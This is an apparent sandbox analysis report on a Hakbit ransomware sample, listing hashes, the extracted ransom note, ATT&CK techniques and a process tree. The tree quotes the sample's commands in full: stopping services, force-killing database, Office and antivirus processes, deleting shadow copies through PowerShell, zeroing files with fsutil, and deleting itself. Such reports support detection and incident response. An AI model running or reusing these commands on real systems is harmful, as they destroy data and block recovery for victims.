hakbit | 60b290310f67adb0ae186b4b938ca466a6b55653b2519261fa425127f5500a1f

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03-09-2024 13:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Ransomware/Client-2.exe
Size

80KB
MD5

8152a3d0d76f7e968597f4f834fdfa9d
SHA1

c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
SHA256

69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
SHA512

eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
SSDEEP

1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Score

10^/10

hakbit credential_access discovery evasion execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note

To recover your data contact the email below [email protected] Key Identifier: Srpx96nwdR/yyXWTK0adjutZJEgkPMLM7C3mSeRSHmgrDF1FJ23Zg9dV72fYce9b/1iYgmVCy7Y5szjBktgZjtH8YSteCgn9pZPngJ+g3khFq92XwomMoFfDgt0SxCA6HXh2d5bXJsBXAOGktd8Fe5zG+CaafSrsDBw6ky++KiCZEbHPChURbPy+P2t6vny9WOOgm+6/fVkLc3rA8h0pRut12ssgD7wDkXbM3Fn5/blnFhShQAPkRXOqi4xqJTf7qhPV9CdolFmqI//xhh3YwJr7PWj3meWG2WZ95N4nBs3tNljkD+7h2uHWh39Vzv0JDHq3nMeCAsRyPVchKvT+Yrmu/yC6i6EZDXjyaJqaoWnE/UQADD7pEnUjp+uQeKY+/63izmIZD5NIEQZZlq2nSNZz2PEIlIHF0JNEnVXME6/ZJ4DVkZYqB2+DpuAqu0uqYg8/fLPwsTIAKCe4wveTfFMAKCHnsYuCdiPrTaQYYGQQQBJTFsFCattyNYuVWkKZc+EW3BssFZ7Eam7+W3fgg/gvhNJYIcjtIfq5WpsCld2DWDxLb3cleR/c5LdIz0Kzdaq1Y/ilY22BkTqomb/r/0U2IFmYEs3ozC8uwfkJn1LLXIyn5KvN9nurgucqSTwzoXf0ZgyhQYAvo15hgbBJIxPyz7dWTCALramIb/JxM0Y= Number of files that were processed is: 471

Emails

[email protected]

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2640 cmd.exe
Drops startup file 1 IoCs

Processes:

Client-2.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk Client-2.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1852 sc.exe
1924 sc.exe
1976 sc.exe
1916 sc.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXEcmd.exe

pid process

348 PING.EXE
2680 cmd.exe

pid	process
2640	cmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	Client-2.exe

pid	process
1852	sc.exe
1924	sc.exe
1976	sc.exe
1916	sc.exe

pid	process
348	PING.EXE
2680	cmd.exe

Kills process with taskkill 47 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2908	taskkill.exe
1252	taskkill.exe
1736	taskkill.exe
984	taskkill.exe
612	taskkill.exe
2444	taskkill.exe
2756	taskkill.exe
2888	taskkill.exe
1312	taskkill.exe
2832	taskkill.exe
844	taskkill.exe
1788	taskkill.exe
1048	taskkill.exe
2064	taskkill.exe
2640	taskkill.exe
2632	taskkill.exe
284	taskkill.exe
2748	taskkill.exe
2960	taskkill.exe
2208	taskkill.exe
2760	taskkill.exe
536	taskkill.exe
2296	taskkill.exe
2320	taskkill.exe
2992	taskkill.exe
2768	taskkill.exe
1804	taskkill.exe
2672	taskkill.exe
2676	taskkill.exe
2092	taskkill.exe
2356	taskkill.exe
2312	taskkill.exe
2780	taskkill.exe
1696	taskkill.exe
1100	taskkill.exe
3064	taskkill.exe
2764	taskkill.exe
2600	taskkill.exe
2140	taskkill.exe
2696	taskkill.exe
2976	taskkill.exe
2724	taskkill.exe
2924	taskkill.exe
3004	taskkill.exe
2896	taskkill.exe
1664	taskkill.exe
1980	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2944 notepad.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

348 PING.EXE

pid	process
2944	notepad.exe

pid	process
348	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Client-2.exe

pid	process
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe
1284	Client-2.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

Processes:

Client-2.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1284	Client-2.exe
Token: SeDebugPrivilege	2296	taskkill.exe
Token: SeDebugPrivilege	2320	taskkill.exe
Token: SeDebugPrivilege	2696	taskkill.exe
Token: SeDebugPrivilege	2760	taskkill.exe
Token: SeDebugPrivilege	2632	taskkill.exe
Token: SeDebugPrivilege	2976	taskkill.exe
Token: SeDebugPrivilege	2768	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	2444	taskkill.exe
Token: SeDebugPrivilege	2780	taskkill.exe
Token: SeDebugPrivilege	2312	taskkill.exe
Token: SeDebugPrivilege	3004	taskkill.exe
Token: SeDebugPrivilege	2992	taskkill.exe
Token: SeDebugPrivilege	2208	taskkill.exe
Token: SeDebugPrivilege	1804	taskkill.exe
Token: SeDebugPrivilege	2896	taskkill.exe
Token: SeDebugPrivilege	2756	taskkill.exe
Token: SeDebugPrivilege	2924	taskkill.exe
Token: SeDebugPrivilege	2724	taskkill.exe
Token: SeDebugPrivilege	2640	taskkill.exe
Token: SeDebugPrivilege	1788	taskkill.exe
Token: SeDebugPrivilege	284	taskkill.exe
Token: SeDebugPrivilege	2764	taskkill.exe
Token: SeDebugPrivilege	2748	taskkill.exe
Token: SeDebugPrivilege	1664	taskkill.exe
Token: SeDebugPrivilege	1100	taskkill.exe
Token: SeDebugPrivilege	1312	taskkill.exe
Token: SeDebugPrivilege	3064	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	2908	taskkill.exe
Token: SeDebugPrivilege	536	taskkill.exe
Token: SeDebugPrivilege	2600	taskkill.exe
Token: SeDebugPrivilege	612	taskkill.exe
Token: SeDebugPrivilege	2672	taskkill.exe
Token: SeDebugPrivilege	2676	taskkill.exe
Token: SeDebugPrivilege	2832	taskkill.exe
Token: SeDebugPrivilege	1736	taskkill.exe
Token: SeDebugPrivilege	1980	taskkill.exe
Token: SeDebugPrivilege	2140	taskkill.exe
Token: SeDebugPrivilege	2356	taskkill.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2960	taskkill.exe
Token: SeDebugPrivilege	1252	taskkill.exe
Token: SeDebugPrivilege	984	taskkill.exe
Token: SeDebugPrivilege	2064	taskkill.exe
Token: SeDebugPrivilege	2092	taskkill.exe
Token: SeDebugPrivilege	1048	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

Client-2.exe

pid process

1284 Client-2.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

Client-2.exe

pid process

1284 Client-2.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Client-2.exe

description	pid	process	target process
PID 1284 wrote to memory of 1976	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1976	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1976	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 2328	1284	Client-2.exe	cmd.exe
PID 1284 wrote to memory of 2328	1284	Client-2.exe	cmd.exe
PID 1284 wrote to memory of 2328	1284	Client-2.exe	cmd.exe
PID 1284 wrote to memory of 1916	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1916	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1916	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1924	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1924	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1924	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1852	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1852	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 1852	1284	Client-2.exe	sc.exe
PID 1284 wrote to memory of 2296	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2296	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2296	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2444	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2444	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2444	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2976	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2976	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2976	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2696	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2696	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2696	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2320	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2320	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2320	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 3004	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 3004	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 3004	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2760	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2760	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2760	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2756	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2756	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2756	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2992	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2992	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2992	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2896	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2896	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2896	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2888	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2888	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2888	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2208	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2208	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2208	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2312	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2312	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2312	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2724	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2724	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2724	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2768	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2768	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2768	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2640	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2640	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2640	1284	Client-2.exe	taskkill.exe
PID 1284 wrote to memory of 2632	1284	Client-2.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
"C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1284
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:1976
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2328
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1916
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:1924
- C:\Windows\system32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1852
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2296
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2444
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2320
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2760
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2768
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2632
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:844
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1312
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:284
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1788
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2908
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1980
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2140
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1252
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1664
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:536
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1100
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:612
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2944
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2680
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:348
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:3540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
  2⤵
  - Deletes itself
  PID:2640
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Assistance\Client\1.0\es-ES\Help_MValidator.Lck.energy[[email protected]]

Filesize
4KB

MD5
1b0cf1df26727edf9b9db7949cfa617b

SHA1
666a4bfbf7029467fe8aaefb23fc37013d67b1d8

SHA256
4c7c909d4a7e946b7e47d92e7857edb14672cb9ec8c2d7c89611fbd860a6d0ed

SHA512
9e6b80242149e3f12dc65eef34a57a97f9b1e6226a73abff52ab15da5b9e1730bb7fd9ec4791bc9f2450852035d21e77f9ecaf482423035d49b88f41f699f410

Download Submit
C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

Filesize
180KB

MD5
10d1511a4ddc08cb6b70946899c38be2

SHA1
932255fb64bc09a97413950a19c4b919a6ab306f

SHA256
f896c836c176edf86234e2ffe670fa68d11e0b404b5ebab9dc0f13e938986551

SHA512
0dc1cab57c69478f4c48c88680d478182554716202b4841a9d972c8c64e25f22f2d4302c28b44cf103001b1cb3d59d49ed027638b8e41415c691598c447d81c5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
920c454a44e7fd081b6d1616339da98e

SHA1
ccb2a0602691bccbbd375fe294d14ddbd43e564a

SHA256
2efb29717ab4c7f02d4857977df7d91ed9f874d4370194cd7aea0459b707d7f6

SHA512
c1a95a9b9599f1cb89e3279e8d927e192dc54e1b39e5e6e1acb0e9e274f9217535d1d1356ee2c6a02797c85247638f9a0e9e8bb7a19e22eda5fe505c4f0135d1

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
828B

MD5
6c51d394a93bff242805d4937f02cf0c

SHA1
f95abca3627c7bb0dbae6f98454637c37b1fc61f

SHA256
04ec0e4d57f752cd9ed6fbb22e4023c05e581a2d5269a02daf9b01d1c76be1cb

SHA512
ccfa334136f0a66c353404b896fd87dec762efb76c255aab9e6445fce86f36c513dbcf87523c6b3c92dfe06b96b2c37c46481992045549ac328da27e793ff9cf

Download Submit
memory/1284-0-0x000007FEF5BD3000-0x000007FEF5BD4000-memory.dmp

Filesize
4KB

Download
memory/1284-1-0x0000000001110000-0x000000000112A000-memory.dmp

Filesize
104KB

Download
memory/1284-4-0x000007FEF5BD0000-0x000007FEF65BC000-memory.dmp

Filesize
9.9MB

Download
